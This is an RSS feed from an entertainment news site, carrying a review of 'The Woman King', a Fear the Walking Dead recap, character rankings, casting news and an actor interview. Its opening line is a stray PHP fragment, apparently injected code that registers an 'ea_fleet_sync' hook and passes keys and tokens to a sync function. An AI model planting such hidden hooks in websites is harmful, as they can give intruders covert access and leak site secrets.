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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); characters – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 10 Sep 2022 08:40:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png characters – Brief News https://briefnews.eu 32 32 The Woman King Review: A Rousing Historical Epic With Great Action And Even Better Characters [TIFF] https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/ https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/#respond Sat, 10 Sep 2022 08:40:17 +0000 https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/

There’s something very old school about “The Woman King.” It’s a sweeping, rousing, crowd-pleasing historical action-adventure epic the likes of which Hollywood doesn’t make that much anymore, at least not well. It’s familiar in a welcoming way. And yet, at the same time, this is also something groundbreaking. Because unlike the Hollywood epics of old, “The Woman King” features a cast made up almost entirely of Black women, and there’s a Black woman, Gina Prince-Bythewood, behind the camera, too. Maybe one day we’ll get to a point where such a movie doesn’t feel groundbreaking, but here we are.

Even if it wasn’t groundbreaking, “The Woman King” would still be an absolute blast. It’s a film that isn’t afraid to get you cheering, although much of the subject matter is often overwhelmingly harsh. The key to all of this is that Prince-Bythewood and screenwriter Dana Stevens have assembled a wonderful cast of memorable, easy-to-root-for characters. Viola Davis leads them all, and as is a common fact by now, Davis is stellar. But she’s backed up by a spirited, funny, butt-kicking group of warriors. Davis plays Nanisca, a General in the West African Kingdom of Dahomey. It’s 1832, and Nanisca leads the Agojie, the all-female group of warriors loyal to new-ish King Ghezo (John Boyega). We’re introduced to Nanisca and her warriors in a pulse-pounding opening sequence that showcases Prince-Bythewood’s skill at crafting engaging, thrilling action. 

But then “The Woman King” settles down. The trailers would have you believe this is a straight-up action movie, and indeed, there is much incredible action to be had; the type of action that puts the endless stream of Marvel and other franchise action movies to shame. But “The Woman King” is also a character study, and Davis’ Nanisca, while always a commanding presence, isn’t really the main character. 

Lashana Lynch Steals The Show

Within the walls of the palace at Dahomey, the women of the Agojie live fierce and free. The other people of the kingdom think of them as almost mythical; beings that are unearthly and not to be looked at. But as Nanisca says, there’s an evil growing outside the palace walls. The slave trade — something even King Ghezo takes part in — is a blight in Nanisca’s eyes, even though it has helped make Dahomey very wealthy. Then there are the gun-toting fighters of the Oyo Empire, led by a cruel, slave-trading general, played with real menace by Jimmy Odukoya. Nanisca warns of both the threat of the Oyo Empire and the evils of the slave trade, but her King is hesitant to change old, familiar ways.

In the midst of all this enters Nawi (Thuso Mbedu), a 19-year-old handed over to the Agojie after she refuses to marry a man who freely hits her. Nawi is stubborn and brave, and she becomes our real lead character, guiding us through the world of the Agojie. To become one of them, Nawi — along with several other recruits — must endure a rigorous boot camp-style training program, and this takes up the majority of “The Woman King.” We watch as Nawi grows into a real warrior, while still ensuring Nanisca’s displeasure with her strong-headed ways. 

Nawi is taken under the wing of Agojie soldier Izogie who guides her through every step and dolls out droll advice. Izogie is played by Lashana Lynch, and in a cast full of heavy-hitters, Lynch is the real stand-out, turning Izogie into a funny, warm, but still deadly presence who loves to swill whiskey and sharpen her nails into claws. Every second she’s on screen is a treat, and I wanted more of her. The comradery that forms between Nawi and Izogie is wonderful, and Mbdeu gives a breakout performance in the process, making us care deeply for Nawi and her story. 

Action And Drama

“The Woman King” is inspired by a true story, and while I’m sure there will be some who loudly proclaim that the movie isn’t 100% historically accurate, I’m not concerned with that. No film is even 100% accurate, not even historical epics. Hell, “Braveheart” is loaded with pure fiction, and that won a slew of Oscars. Whether or not everything that happens in “The Woman King” happened in real life is inconsequential. What matters is it feels real to the world the film builds. We believe in the validity of these characters. Davis, one of the best actors of this or any generation, is in top form, making Nanisca into a complex, tenable figure. And everyone backing her up feels the same. 

The human drama is what drives “The Woman King,” but to be fair, the script never goes quite as deep as it could. No matter — “The Woman King” is so consistently powerful and emotionally exhilarating that we’re swept away by it all, rooting for the brave heroes and cursing the nasty villains. And gosh does that action sing. A few quirky cuts get in the way here and there (I’m guessing these are the result of some violence trimming to earn a PG-13 rating), but for the majority of the picture we can easily see the actors doing their own stunts, fighting and kicking and swinging and smashing and stabbing and at times running sideways up something in order to deliver a flying punch. 

There are more than a few moments in “The Woman King” that will have you fist-pumping and grinning like a goofball, amazed at energy of it all. And all that action is often aided by raw, real emotion which is handled deftly. Davis in particular seems to carry the weight of the world on her shoulders just with a single glance. We can feel that weight right along with her — and we can’t wait to watch her shrug it off so she can kick some ass. 

/Film Rating: 8 out of 10

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]]> https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/feed/ 0 Fear TWD Recap: The Honeymooners — Plus, Two Characters Walkerfied?!? https://briefnews.eu/fear-twd-recap-the-honeymooners-plus-two-characters-walkerfied/ https://briefnews.eu/fear-twd-recap-the-honeymooners-plus-two-characters-walkerfied/#respond Mon, 09 Nov 2020 03:45:13 +0000 https://briefnews.eu/fear-twd-recap-the-honeymooners-plus-two-characters-walkerfied/ Warning: The following contains spoilers for Sunday’s Fear the Walking Dead. If you’d rather watch first, read later, vamoose.

Since Fear the Walking Dead only very recently reunited Dwight and Sherry, Sunday’s episode felt like a sucker punch. How dare the show make us care about the couple — and care that much — only to tear them apart again so soon? What could possibly prompt those two to step even an inch away from one another after all that they went through to be together? Read on, and you’ll get not only the answer to that question but find out why the hour ended with walkers that looked a lot like Dwight and Al.

‘I LOVE BREAKFAST FOR DINNER’ | As “Honey” began, Dwight and Sherry were about a week into their second honeymoon. As she reread the letters that she’d left for him across the miles, he reminded her, “You said you were sorry for turning me into the man that I was.” So, in hopes of giving her nothing to be sorry about anymore, he’d worked to transform himself back into the guy that he’d been before Negan and the Saviors. (Mission accomplished, as far as I’m concerned.) When Al didn’t check in with the Rangers via walkie-talkie on time, Dwight covered, spinning a yarn and insisting they needed a couple more days. In that time, he wanted to run away with Sherry, someplace Ginny would never find them. Sherry couldn’t do that, she said. Uh, why? When she left the room, Dwight heard noises. Next thing we knew, there was a masked man in the window, and Dwight had been captured and transported to a camp full of menacing types who looked like they’d just stepped out of The Strangers.

Turned out, Sherry was one of them — something she could’ve, you know, just told Dwight rather than let him get kidnapped, terrorized and held at gunpoint. Only, in her mind, she couldn’t have filled him in on her new alliance with Ginny’s outcasts, because she didn’t think that he’d want to be a part of their plan to bring her down. Now then, asked masked man No. 1 Oswald, where was Ginny going to be next? If Dwight didn’t tell him, he’d kill Al, who was also their prisoner, natch. Things got all super tense for a hot second, then in came a cooler head — the one affixed to Rollie, the henchman of Logan’s to whom Dwight gave a second chance way back when. Rollie defused the situation, then explained that they wanted to attack the SWAT van when it passed by. Quickly, Al pointed out that they couldn’t blow it up; it was built to sustain a blast. Besides, “you don’t destroy something like that,” she added, “you steal it.” Against all odds, the group managed to catch the SWAT van on horseback, with Dwight pulling some full-on Jason Bourne maneuvers to leap from his saddle onto the speeding MRAP. By the hardest, he got control of the vehicle, but… he lost the driver (whom he’d had to kick to the curb). And since the driver had seen Dwight’s face… Ruh-roh.

Fear the walking dead recap season 6 episode 5 honey‘YOU LOSE SOMETHING? ’CAUSE I THINK I FOUND IT’ | No, I take that back; it wasn’t “ruh-roh” at all, because shortly, coming down the road was Morgan, dragging the driver through the dirt behind his horse. After everyone caught up — and since Sherry didn’t seem to recognize Morgan, it’s safe to assume she wasn’t the person who saved him after he’d been shot by Ginny? — he floated the idea of everyone joining him at the awesome new place he’d found. Nah, said Oswald. Let’s unleash the SWAT van. Eh, maybe not. If they did that, Morgan noted, they’d be putting in jeopardy all of their loved ones that are still living under Ginny’s thumb. They just needed to get his utopia ready and wait for the right moment to move against Ginny. Later, Sherry made damn sure that Dwight knew where she stood. “I’m not leaving these people until Virginia’s dead,” she said. Fine, replied Dwight. Then they’d attack now, go with Sherry’s plan. He’d do anything not to be separated from her again.

To that end, Dwight held nothing back in questioning the driver about Virginia’s next stop. He even spattered him with blood and threatened to sick the group’s wolf dog on him. Ha, said the driver. Let him eat me, and you’ve got nothing. “Wrong,” Dwight retorted, “I got one happy dog.” Just as it started to look like the driver was going to be turned into kibble and bits, Morgan intervened, saving the Ranger’s ass and reminding Dwight of all the people he’d be putting at risk if he went through with Sherry’s plan. Hold out for the new place, it’ll be different, Morgan promised. But Dwight had heard that before. “Nothing’s gonna be different,” he predicted, “until Virginia’s gone.” And not for nothing, he added, but if it was Grace asking for Virginia’s head on a platter and not Sherry, Morgan would be 100-percent on board.

Fear the walking dead recap season 6 episode 5 honey‘I WON’T LET YOU BECOME THE PERSON YOU USED TO BE’ | Later, Sherry suggested that they didn’t need to find out where Virginia was going to be, they could just bring her to them. So Dwight walkie-talkied that he and Al had found a spot with more than 100 survivors and could really use Ginny to come by and make the first overture to them. At last, a plan was set in motion. Mind you, despite Sherry’s insistence on taking out Virginia now, now, now, she questioned Dwight’s seeming willingness to feed the driver to the dog and sideline Morgan and Al. “They are like my family,” he clarified, “you are my family.” So nothing would stop him from personally killing Ginny. Cue Sherry realizing that once again, she was turning Dwight into something that she didn’t want him to be in 3, 2…

Meanwhile, Al was explaining to Morgan that they could actually blow up the SWAT van if need be; she’d lied earlier. When the twosome were caught stealing dynamite, Rollie & Co. imprisoned them with the driver and, to Dwight’s surprise, Sherry had him thrown into lock-up, too. “I won’t let you become the person you used to be,” she told him. Alone with Al and Morgan — the driver never did wake up — Dwight admitted that he knew the time was wrong to go after Virginia. But he’d be damned if he’d let Sherry go through what he and Morgan had, losing and then finding themselves once more. So he freed himself — they all make it look so easy! — hustled to the rendezvous point at which Sherry hoped to use the SWAT van to gun down Ginny, and beseeched her not to go through with it, if only for the sake of all the people the Rangers could hurt in retaliation. In the end, Sherry didn’t pull the trigger — lever, really — but she wasn’t happy about it. “You had to make it hard!” she screamed at Dwight, beating on him.

‘I NEED THIS — THERE’S THE TRUTH’ | Back at their hideout, Dwight asked Sherry what Ginny had done to her. “It’s not about Ginny,” she replied. It was about Negan — she could’ve done something a hundred times while she was his “wife” and never did. Still, Dwight refused to let them be turned into people that they aren’t again. “Then you need to leave,” she said. She was going to kill Ginny come hell or high water. “That’s who I am.” He, on the other hand, actually managed to remind her of who he used to be. As he left the camp, he stopped by the wolf dog’s pen and set free his new four-legged friend. Later, Morgan and Al reported to Dwight that Sherry & Co. had taken off with their hostage. Dwight should come with them, they said. So they dressed up a couple of walkers in Dwight and Al drag (so as to convince the Rangers that they were dead), and led Nora and the formerly plague-infected folks to their magical new home. And, of course, Dwight drew an eternity symbol and an arrow so that Sherry could find him again.

So, what did you think of “Honey”? Could you believe Dwight and Sherry let each other go again? I hated to see them split up but understood, when she said that it wasn’t really about Ginny but Negan. Anyway, hit the comments.

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]]> https://briefnews.eu/fear-twd-recap-the-honeymooners-plus-two-characters-walkerfied/feed/ 0 Buffy the Vampire Slayer’s 25 Greatest Characters of All Time, Ranked https://briefnews.eu/buffy-the-vampire-slayers-25-greatest-characters-of-all-time-ranked/ https://briefnews.eu/buffy-the-vampire-slayers-25-greatest-characters-of-all-time-ranked/#respond Sun, 30 Aug 2020 19:27:44 +0000 https://briefnews.eu/buffy-the-vampire-slayers-25-greatest-characters-of-all-time-ranked/

Nearly 20 years after Buffy the Vampire Slayer last aired, TVLine is raising the cult-classic series from the dead for a reevaluation of sorts. We’re not questioning whether it was as excellent as we remember — we’ve rewatched it often enough to know that it was. But we are wondering whether the characters that we liked the best… actually were the best.

To that end, we’ve singled out the 25 fictional individuals — OK, and a grouping here and there — that we still think put the “super” in the supernatural. Among them are — well, duh — the title character, a heroine for the ages; more than one version of not only her closest friend but her boyfriend; an airhead who all these years later is still on our minds; and a vamp whose nickname really shouldn’t have been William the Bloody but William the Bloody Awesome.

No doubt, you will have… um, let’s call them feelings about the characters who have been excluded from this list. There are probably even at least a couple of you who will cry foul over the absence of a certain ultra-annoying Key, aka the Cousin Oliver of the Buffyverse. You may render your complaints to your hearts’ content in the comments section below.

But first, you should check out how we’ve ranked our Top 25 by clicking on the photo gallery above (or going here for direct access). Then and only then should you move on to the comments and reveal whether you think our countdown bites… or sucks. Ready… set… click.

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There’s no lemon so sour that you can’t make something resembling lemonade. And there’s no limit to our love for the characters of This Is Us — but there is an order.

So while we all anxiously await the NBC family drama’s Season 5 return, we thought we’d run through the show’s roster and pick out our 25 favorite Pearson (and Pearson-adjacent) characters.

Filing Jack & Co. into a continuum of just-kinda-cool to pretty-damn-awesome was no easy task. One reason we enjoy hanging out with these folks each Tuesday is that they’re so relatable… which is a nice way of saying that they’re not perfect. And that relatability is good for TV dramas but rough on the ol’ ranking system.

Think about it. Yes, Rebecca has earned a place in the pantheon of Awesome TV Moms… but she also kept Randall’s biological father a secret from him for decades. And yes, Randall and his dad jokes are some of the best bits on the show… but he went behind Kevin’s back to encourage their mom to subvert her established Alzheimer’s care plan.

And sure, Miguel is a doof, but he’s actually also a much-needed steadying force in the post-Jack’s-death Pearson family. It’s complicated, is all we’re saying.

To see which characters made it into our Top 25, just click on the photo gallery above (or go here for direct access). Then hit the comments with the characters that you think should’ve been placed higher, lower or altogether eliminated!

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]]> https://briefnews.eu/this-is-us-the-top-25-characters-of-all-time-ranked/feed/ 0 The Walking Dead’s 25 Greatest Characters of All Time, Ranked https://briefnews.eu/the-walking-deads-25-greatest-characters-of-all-time-ranked/ https://briefnews.eu/the-walking-deads-25-greatest-characters-of-all-time-ranked/#respond Mon, 17 Aug 2020 00:35:35 +0000 https://briefnews.eu/the-walking-deads-25-greatest-characters-of-all-time-ranked/

In its 10 seasons and 146 episodes, The Walking Dead has introduced us to as many characters as it has walkers — or at least it can seem that way. But only a choice few have gone on to reach the iconic status of, say, Andrew Lincoln’s Rick Grimes or Danai Gurira’s Michonne. And only a few more have managed to even earn themselves spots on TVLine’s highly-competitive countdown of the AMC drama’s 25 greatest characters of all time.

Which of your favorites made the cut? Though we don’t want to spoil all of the surprises, we will say that the list includes a villain with an affinity for sending folks to Pee-Pee Pants City, a noble protagonist who gave a whole new meaning to the phrase “Death becomes her,” and a certain little ass-kicker with a very big heart.

Possibly even more interesting (and controversial) than who won a slot in the Top 25 will be who didn’t. Missing in action are some major players, whether because they made too many boneheaded moves to deserve memorialization, because the light they shone was eclipsed by bigger, brighter characters over time, or because they’re just too new. (Sorry, Princess; we do love ya, though!)

Ready to break up the monotony of waiting for Season 10’s long-delayed “fauxnale” (which now has an airdate) by meeting our picks for The Walking Dead’s 25 greatest characters of all time? Just click on the photo gallery above or go here for direct access, then let fly your reactions in the comments section below.

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]]> https://briefnews.eu/the-walking-deads-25-greatest-characters-of-all-time-ranked/feed/ 0 Family Guy’s Mike Henry Stepping Down as Voice of Cleveland: ‘Persons of Color Should Play Characters of Color’ https://briefnews.eu/family-guys-mike-henry-stepping-down-as-voice-of-cleveland-persons-of-color-should-play-characters-of-color/ https://briefnews.eu/family-guys-mike-henry-stepping-down-as-voice-of-cleveland-persons-of-color-should-play-characters-of-color/#respond Fri, 26 Jun 2020 22:40:24 +0000 https://briefnews.eu/family-guys-mike-henry-stepping-down-as-voice-of-cleveland-persons-of-color-should-play-characters-of-color/

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After two decades, Mike Henry is stepping down as the voice of Family Guy‘s Cleveland Brown, the actor announced on Twitter.

“It’s been an honor to play Cleveland on Family Guy for 20 years,” Henry tweeted on Friday. “I love this character, but persons of color should play characters of color. Therefore, I will be stepping down from the role.”

Henry, who is not Black, has voiced Cleveland, who is Black, since the character was introduced in Family Guy‘s 1999 series premiere. He also headlined The Cleveland Show for four seasons (2009–2013) on Fox.

Cleveland now joins a growing list of high-profile animated characters that have been recast this week. Jenny Slate announced on Wednesday that she will no longer voice biracial tween Missy on Netflix’s Big Mouth, while Kristen Bell is also being recast as the voice of a young biracial character on Apple TV+’s Central Park.

See Henry’s announcement in full below:

UPDATE: Fox on Friday released a statement announcing that The Simpsons “will no longer have white actors voice non-white characters.”

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]]> https://briefnews.eu/family-guys-mike-henry-stepping-down-as-voice-of-cleveland-persons-of-color-should-play-characters-of-color/feed/ 0 Rick and Morty season 4: Characters return to screens soon in brand new collab https://briefnews.eu/rick-and-morty-season-4-characters-return-to-screens-soon-in-brand-new-collab/ https://briefnews.eu/rick-and-morty-season-4-characters-return-to-screens-soon-in-brand-new-collab/#respond Thu, 23 Jan 2020 05:30:53 +0000 http://briefnews.eu/rick-and-morty-season-4-characters-return-to-screens-soon-in-brand-new-collab/

Rick and Morty season four is on a midseason break but will at some point this year. US network Adult Swim gave the series a 70-episode renewal back in 2018 so there’s plenty more to come. Now, it has been revealed exactly when Rick and Morty will be back on screens.

Season four of Rick and Morty premiered on Adult Swim on November 10 in the US.

The network previously confirmed season four would be split into two halves consisting of five episodes each.

After a lengthy wait for the fourth season, fans are been expecting a second half soon.

Tweets from the Rick and Morty Twitter account have confirmed the rest will arrive at some point this year.

READ MORE: Rick and Morty season 4, episode 5 explained: What happened?

The teaser ad is expected to air on Sunday, February 2nd on FOX.

Meanwhile, Harmon recently spoke to Entertainment Weekly about the return date of season four.

It seems season four has already been completed and the show’s creators are looking ahead to the next instalment.

In a previous interview Harman said: “I think it’s safe to say without fear of being wrong that the gap between seasons three and four will be the longest and last time that it’s ever so long that it’s ridiculous.

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]]> https://briefnews.eu/rick-and-morty-season-4-characters-return-to-screens-soon-in-brand-new-collab/feed/ 0 Outlander season 5: Jamie Fraser to suffer huge loss as major character’s death ‘sealed’? https://briefnews.eu/outlander-season-5-jamie-fraser-to-suffer-huge-loss-as-major-characters-death-sealed/ https://briefnews.eu/outlander-season-5-jamie-fraser-to-suffer-huge-loss-as-major-characters-death-sealed/#respond Fri, 08 Nov 2019 05:28:55 +0000 http://briefnews.eu/outlander-season-5-jamie-fraser-to-suffer-huge-loss-as-major-characters-death-sealed/

Outlander returns to television screens in early 2020 but it will see the Fraser family struggle as the Revolutionary War approaches and they are forced to make some tough decisions. In the season four finale, Jamie (played by Sam Heughan) was issued a letter demanding he catch Murtagh Fitzgibbons (Duncan Lacroix) for the North Carolina Governor – will he do as he’s told?

Jamie and Claire Fraser (Caitriona Balfe) were given land in season four from the Governor but under the understanding they have pledged their allegiance to him.

Now, Jamie has found himself in a difficult position as the Governor has demanded  he assemble and lead a militia to put down the regulators and kill their leader Murtagh.

Fans know the highlander would never turn against someone he loves and trusts as much as Murtagh.

But if he does not follow the Governor’s orders, he could find himself without his land and home.

READ MORE: Outlander: Why does Captain Black Jack hate Jamie Fraser? 

It seems unlikely Jocasta’s head could be turned by another but if Murtagh was killed, she could find love with another.

Following Maria’s comment at New York Comic Con last month, fans believe she could marry Duncan Innes instead.

Maria teased: “Well, I definitely have relationships in season five, I can’t actually tell you who they’re with.”

But she heavily hinted it wouldn’t be Murtagh she weds.

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]]> https://briefnews.eu/outlander-season-5-jamie-fraser-to-suffer-huge-loss-as-major-characters-death-sealed/feed/ 0 13 Reasons Why Star Laments His Character’s Grim Outcome in Season 3: ‘There’s So Much More to Unpack’ https://briefnews.eu/13-reasons-why-star-laments-his-characters-grim-outcome-in-season-3-theres-so-much-more-to-unpack/ https://briefnews.eu/13-reasons-why-star-laments-his-characters-grim-outcome-in-season-3-theres-so-much-more-to-unpack/#respond Sat, 14 Sep 2019 23:12:05 +0000 http://briefnews.eu/13-reasons-why-star-laments-his-characters-grim-outcome-in-season-3-theres-so-much-more-to-unpack/

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Bryce Walker may have been the subject of 13 Reasons Why‘s big murder mystery, but he certainly wasn’t the only Liberty High School student whose life was cut alarmingly short in Season 3.

Montgomery De La Cruz also met a gruesome end behind bars, following his arrest for assaulting Tyler back in Season 2. And to complicate matters even further, Monty was posthumously blamed for killing Bryce, a plot hatched to prevent the real killers — Alex and (sort of) Jessica — from going to prison. It was an unfortunate conclusion to a tragic tale of child abuse and sexual confusion, among a myriad other unresolved issues.

TVLine caught up with actor Timothy Granaderos to discuss Monty’s less-than-favorable outcome, including whether there’s a chance we could see him in another form in the final season. (Come on, this show loves flashbacks. And ghosts!)

TVLINE | Did the producers sit you down ahead of Season 3 to explain where things were going for Monty? 
I trust Brian Yorkey with every ounce of my being. He doesn’t always say what we’re going to be getting into, but he always alludes to something happening. So whenever he pulls me aside and asks me to take a walk with him, I’m like, “Oh, s–t, what’s going to happen?” When we were starting Season 3, he told me that Monty would be questioning his sexuality, then dying at the end, and I was like, “Whoa.” It’s like when you get a phone call from your parents. You’re like, “I don’t know if this will be good or bad, but they definitely need to tell me something.”

TVLINE | And how did you take that news?
It’s always a little shocking, but as an actor, you hope to get things that shock and scare you — and everything Monty did in Season 3 was shocking and scary. I’m grateful for the dimensions they added to Monty’s character.

TVLINE | This season required a lot from you. Was there a particular scene you found most challenging to perform?
You would have thought that the scene with Winston and I hooking up. When I read that, I knew it was going to be intense. It was a sex scene, and it’s always a little scary to put yourself out there like that, but it was ironically one of the easiest scenes for me to shoot. For Monty, it was just this moment of complete vulnerability, which he never has.

13 Reasons Why Season 3But in terms of the most difficult scene, I’d say it was when Monty’s dad visits him in prison in the finale. In preparation for that, I had to think about what his psyche would be like, and I just kept coming back to this feeling of being completely lonely. So on the day of the shoot, I kind of secluded myself and went to a really dark place. At the end of the scene, his dad spits in his face, and you’re just heartbroken for him.

TVLINE | He never got a chance to make amends before being murdered off screen. Do you feel like his story wasn’t truly over? 
It did feel like it ended a little too soon, which was convenient for all those other ding-dongs who got away with the murder. There’s so much more to unpack with his story, and I think he was just beginning to understand who he was and what he wanted. It was a tragic ending to his story, but you never know what’s going to happen next.

TVLINE | Well, Winston is still out there — and he knows the truth!
Exactly!

TVLINE | Do you hope he speaks up in Season 4?
Hell yeah, of course! I hope he tears the whole establishment down and reveals everything. But at the same time, I’m also invested in the other characters as a fan, so I kind of want them to get away with it and move on. It’s been such a turbulent, tumultuous journey for them. Life at Liberty is stressful.

TVLINE | Is there a chance we haven’t seen the last of Monty? Even dead characters have a habit of lingering on this show.
I would like to think so, and with the way we tell our stories, it’s always a possibility. But I don’t really have an idea of what’s really going to happen. I do want to keep working, though!

TVLINE | If not, how do you hope Monty will be remembered?
I hope people will remember him as a complex kid who was trying to figure himself out, like anyone else. … It shouldn’t have happened to him. No matter what he did, he was a human, and this shouldn’t have happened. He did have this tough home life, and this secret he was keeping, and he was alone.

TVLINE | That reminds me — one of the lines that hit me the hardest was when Bryce was excusing Monty for assaulting Winston. Bryce told him, “He gets beat at home and s–t.” He said it so casually, but a good friend would have intervened.
You’re right. He says it in such a normal way, but that’s not a normal situation to be in. This kid is trying to grow and develop, and that’s what his normal is? Even to his friends, that’s what’s considered normal? What do you think is going to happen? What happened to Tyler in the bathroom was normal for him. It was a joke to him. We know that it wasn’t a joke — far from it — but if that’s what you’re made to believe is OK, you’re not going to have any regrets.

TVLINE | Oof, that bathroom scene…
That was easily the toughest scene I’ve shot on the show. I had a splitting headache at the end of that shoot. It’s hard staying in that. It’s a dark place to be in.

TVLINE | What’s next for you? Something intentionally different from what you’ve been doing lately?
Yes, I hope it’s completely different. I hope it’s so different that they don’t even realize I’m the guy who played Monty. It’s been an awesome journey, but you do wonder if people are only going to see you as the guy who did that thing to that kid. And that’s a constant struggle for actors — breaking the mold and changing the way other people see you.

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Ambitions went out with several bangs on Tuesday, upending (and sometimes just ending) the lives of the Carlilses, the Lancasters, the Purifoys and everybody in between.

Let’s start at the end, with the episode’s most tragic twist: Shortly after Rondell turned away the bodyguard Stephanie paid to keep her safe, good ol’ Evan Sr. was gunned down by an unidentified assailant — and on the night he planned to propose to Luelene, no less!

Of course, Evan and Rondell’s father wasn’t the finale’s only fatality. The hour began with Herschel Cooper, the clerk who accepted bribes from Greg Peters, shooting himself in the head after being threatened by Amara. Meanwhile, Evan’s latest BDSM sesh quickly turned cold when he discovered Daphne’s lifeless corpse waiting for him in bed. Seriously, people are dropping like flies around here!

As for Stephanie, she ended the episode in Titus’ hotel room, where a distraught Amara was none too pleased to discover her. This being Ambitions, it’s possible that not all was as it seemed, but come on… Stephanie in a bathrobe? Titus in nothing at all? Those two definitely enjoyed a little bump and grind before Amara showed up.

And the deceit continued over at Bella’s place, where she and Ignacio gave into temptation and formally consummated their new business partnership — but it was all to distract her while some leather-clad thug entered the apartment and kidnapped baby Joaquin! (Speaking of the little guy, did anyone else’s jaw drop when Evan’s father casually revealed that he knows about his love child? Talk about taking a secret to your grave…)

Carly and Lori’s relationship was also a hot-button issue this week, with Stephanie’s father losing his damn mind over the idea of his granddaughter being a lesbian, much less dating a Purifoy. I was actually really impressed with Stephanie’s response — that she doesn’t trust the Purifoys either, but she won’t stand for him making Carly feel bad about being a lesbian — even if she still has quite a ways to go before she’s even remotely a good mother. Hunter, meanwhile, was a little too accepting of Lori’s tryst, praising her for putting her “dubious talents in the right direction” and encouraging her to “run this play into the ground.” Gross.

Your thoughts on Ambitions‘ many cliffhangers, both sad and sexy? Grade the episode below, then drop a comment with your hopes for the second half of Season 1.

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